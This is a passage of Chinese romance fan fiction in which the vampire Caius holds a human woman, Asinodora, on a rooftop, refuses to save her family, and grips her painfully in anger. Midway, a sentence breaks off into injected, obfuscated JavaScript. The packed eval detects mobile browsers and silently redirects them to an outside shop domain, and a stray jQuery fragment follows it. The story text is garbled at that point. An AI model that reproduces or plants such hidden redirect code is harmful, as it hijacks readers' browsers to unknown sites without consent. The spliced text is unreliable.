这座阁楼似乎很高,冷冽的风不断往她打破的口子里面灌,凯厄斯站在面前的风口上,背景是低沉翻滚的冷灰云层,金发红眼的吸血鬼抱着那束莲花声音异样温柔。
他说:“我帮你。”
……
直觉之下,累到有些麻木的亚西诺多拉没有避开他的手指,风吹起她额间的散发,凌乱的发丝下透碧的眼睛因为茫然显得雾蒙蒙的。
她不解凯厄斯这种微妙的变化,为什么短短两天不到,这个吸血鬼说的话居然像个人了?
而对于凯厄斯来说,亚西诺多拉的不躲避令他越发愉悦,心情好的时候会更好说话这点特征通用于所有的物种,就像野兽饱食之后就不舍得再啃掉怀中的美食了。
他喜欢她依附他,注视着他,信任他,向他露出自然清浅的微笑,仿佛他是她最亲近的人。
冰冷修长的指节如愿以偿触碰到她的泪水,莲花和薄荷的香气顺着他手掌的骨节往深处细密流淌,清凉的平静如同溪流缓缓滋润干渴的心地。
这种心理让他大理石块一样的心脏生出毛茸茸的触感,就像是新生的鹿角一下一下顶撞心口。
再近一些,凯厄斯就必须用很轻的力气去轻触薄薄的皮肤,他确信触碰她的那只手已经很轻了。
与之相反的是怀里的莲花枝条因为压抑的力气越抱越紧。
蓝紫色花瓣簌簌碾落,黏腻的汁水沁在胸口上打湿他特意挑出的敞领薄衫,线条劲瘦利落的胸线在布料下若隐若现,但平时格外在乎仪容的凯厄斯现在一点也不想去管什么衣服。
为什么明明那么轻却还是在她的眼角留下一抹旖旎的薄红……
他的手指悬空停顿在亚西诺多拉脸颊上,专注的眼神也一并停留在那个位置。
潮湿的水珠令那抹红变得显眼时,是那样的让人在意,在意的让人想要俯身吮去,只想沉溺亲吻她的痛苦。
但他保证一旦他敢这样做,下一秒现在还任他擦拭泪水的亚西诺多拉就会鹿一样警觉后退,更别说此时她已经像炸毛的鸟伸出翅膀想要飞出他的手心。
凯厄斯都能在脑子里勾勒出她那样愤怒的神色……上次宴会帷幕下她趴在自己胸口的模样就是如此,淡然生艳。
森森血红瞳孔之下流动着某种暧昧不清的意味。
要不管不顾就这样亲吻下去吗?凯厄斯想。
又是这样的眼神。
亚西诺多拉反射性地想要远离他的手,脖颈往侧躲避。
一直眩晕的脑子都变得清醒了。
如果一次两次可以说是她的自作多情,是错觉,但次数多了就说明问题不在于自己。
高傲的吸血鬼也会喜欢人类吗?野兽会违背自己的本能爱上自己的猎物吗?她无法相信。
与其说是爱,不如说是生理上的爱。感情里爱欲不能分离,但只有爱占领上风才是两个人的爱情,欲多于爱那两个人结果只是个炮/友。
而弱势的人在强者的索求下也只能无力的承受侵/犯,那也不是爱。
亚西诺多拉上一秒还在因为他的一句“我帮你”错跳一拍的心冷静下来,她不想陷入这样一个无力逃脱的泥沼。
她不能坐以待毙,她要找到办法逃离。
凯厄斯不能不会读心,他只是看着她的睫羽以蝴蝶振翅的姿态轻轻颤动,随意披散的白金发丝在风里盈满璀璨华光不断撩拨他的心弦。
但他却看不清她的心,就像中了金箭的阿波罗疯狂追逐厌恶爱情的达芙妮,他看不清这场追逐只是他单方面的沦陷。
她的眼眶还红着,眼角留着他触碰的痕迹,修长白皙的颈部像风中的雪荷躲避他的捕捉,她的抗拒肉眼可见,可大概是因为他说会帮她,所以也并没有露出那种令他烦躁的厌烦,她只是僵硬着不愿接受他的靠近。
凯厄斯自己替自己找好了借口,是他没有在第一面留下好的印象,所以她才不喜欢自己。
他觉得等过段时间他以行动抹除掉那点不好的痕迹,交付自己全部的滚烫的纯粹的爱意,亚西诺多拉就会投向他的怀抱。
他是如此的自信。
凯厄斯唇角下落,看着她清醒过来的眼神。
在她还未露出更多让他心烦的神色之前,他伸出手,冰冷的指腹擦着柔软的脸颊向下,整个宽大手掌最后落在亚西诺多拉清瘦的肩膀上,速度极快地将她从破开的洞口拉出来。
没等亚西诺多拉站稳,凯厄斯薄红的嘴唇就向上扬起,一个恶劣戏谑的笑容在他脸上绽放。
然后轻轻一提,亚西诺多拉感受到一种滞空感,太快了,等她反应过来她整个人就坐在他的小臂上。
原本放在肩上的手掌下一秒就牢牢握住她柔软纤细的腰,隔着一层薄薄的布料,骨节分明的手指形状分外明显,只是是没有温度的,那种霜雪一样的寒冷冻得她打了个寒颤。
“说吧,发生了什么?不过一眼没看到你,你就又变得这么狼狈。”凯厄斯单手扶着她的腰,抬头看着她问。
“我之前那么狼狈又是因为谁?放我下去,我有急事。”亚西诺多拉怎么也没想到凯厄斯这样做,微皱的眉眼冷淡逼人。
显然她因为凯厄斯冒犯的举动生气了。
凯厄斯完全不以为意,也不会答应,刚才他已经妥协过一次了,现在他就想这样做就不会让步。
“你确定?”笑吟吟的吸血鬼满脸得意的示意她向下望望。
亚西诺多拉这才发现原来这座阁楼极高,甚至她打破的这块地方下面是空悬的,没有任何支撑物,最近的支撑物是凯厄斯脚下踩着的立柱,那立柱是底下建筑的房顶装饰。
她根本没有办法靠自己下去,回去阁楼她也不确定塞雷娜会不会从门那里将她放出去,一时间就是进退两难,再加上她不确定塞雷娜有没有发现她的动静,发现了又会什么时候过来,万一撞见凯厄斯,要怎么解释凯厄斯这种异于常人的能力?
难道要说凯厄斯是马戏团的顶级走钢丝表演人员吗?
说笑的,凯厄斯会立刻杀了塞雷娜,要赶紧离开,还有时间,她想知道时间还剩下多久,下意识抬头,英国这令人抑郁的阴霾天气完全看不出来时间。
凯厄斯发现她的举动,饶有兴致得好奇:“什么急事?报复把你关起来的人?我帮你把他们都杀光吧。”不是反问,是肯定的语气,说得轻描淡写又溢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868782|211933||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出难以让人忽视的血腥。
亚西诺多拉淡淡瞥了他一眼,言简意赅警告:“不是,不许。”
摸到胸口挂着的怀表,打开看时间,开始砸墙之前她记得时间是12点2分,现在过去了25分钟,和凯厄斯的对话不过也才用了几分钟。
从赫特福德赶去伦敦,如果坐马车很有可能赶不上亚伯阿斯特里的行动,要怎么做?下意识的思考令她的手指敲击着手下的物品,直到感觉手下的“桌子”变得紧绷她才反应过来那是凯厄斯的肩膀。
手指变得僵硬,亚西诺多拉抬眼想让凯厄斯先把她放下去,然后就撞进那双令她赞叹的宝石红瞳孔。
原来凯厄斯在她沉默思考的时候,一直仰头注视着她,眼里的情绪与专注仿佛汹涌的要冲出那层剔透的红,热烈到了极致。
他总是这样,待她的眼神永远都毫不掩饰,就像要将她彻底淹没,然后毫不犹豫吞进身体里。
亚西诺多拉都有些想问他——你真的分得清爱欲与食欲吗?
算了,这对她来说根本不重要。
她想到了,凯厄斯……
现在这个情况只有凯厄斯的速度可以做到,他也有能力做到,亚西诺多拉翡翠色的眼睛微微闪动,她有些迟疑,之前她还想要逃离凯厄斯,可是现在又想要利用他。
“你……真的会帮我吗?”亚西诺多拉不确定的声音轻得几乎散在风里。
但凯厄斯听到了。
他挑眉一笑,精致到艳丽的面容狷狂又放肆:“只要我想,凡你所愿,我都能做到。”
三言两语解释了这件事,亚西诺多拉在看到凯厄斯神色变得冷漠后心沉了下来。
“你让我去救那几个人类?
他拒绝:“不行,我们不允许过多参与人类的政治斗争,这是沃尔图里的律法。”作为沃尔图里的统治者之一,他是这些律法坚定的执行者。
更何况,亚西诺多拉失去所谓的家人是他想要看到的,他们太多余了,只要有他们在,亚西诺多拉就不会第一眼看向他。
他想要她的身边永永远远只有他一人。
风扬起亚西诺多拉飘扬的灰绿色裙摆,如同摆弄一片脱离树木的枯叶,而凯厄斯这座雕像巍然不动看着她失落,就像他们第一次见面的一样,他是个没有温度的鬼魂。
这样的天气竟然没下雨,亚西诺多拉自嘲一笑。
他的个人意愿随时在她之上。
……
没什么好说的了。
“放我下去,不然我就自己跳下去。”她抿紧发白的唇线。
她有什么?除了她自己,没什么可交换的了。
亚西诺多拉又变回那种冷淡的样子。
“你威胁我?”暴戾上来的情绪令他的瞳孔变得危险妖邪。
凯厄斯单手抱着亚西诺多拉点的那只手收缩大的更紧了,力度大到他们都能听到亚西诺多拉的骨骼都发出嘎吱的声音,应该是很痛的,但亚西诺多拉只是咬紧惨白的唇,一声不吭。
凯厄斯骤然松手发脾气把那束一直没有放下的莲花丢出去。
呼啸风声中,揉碎的蓝紫色飘散在风中颓然跌落。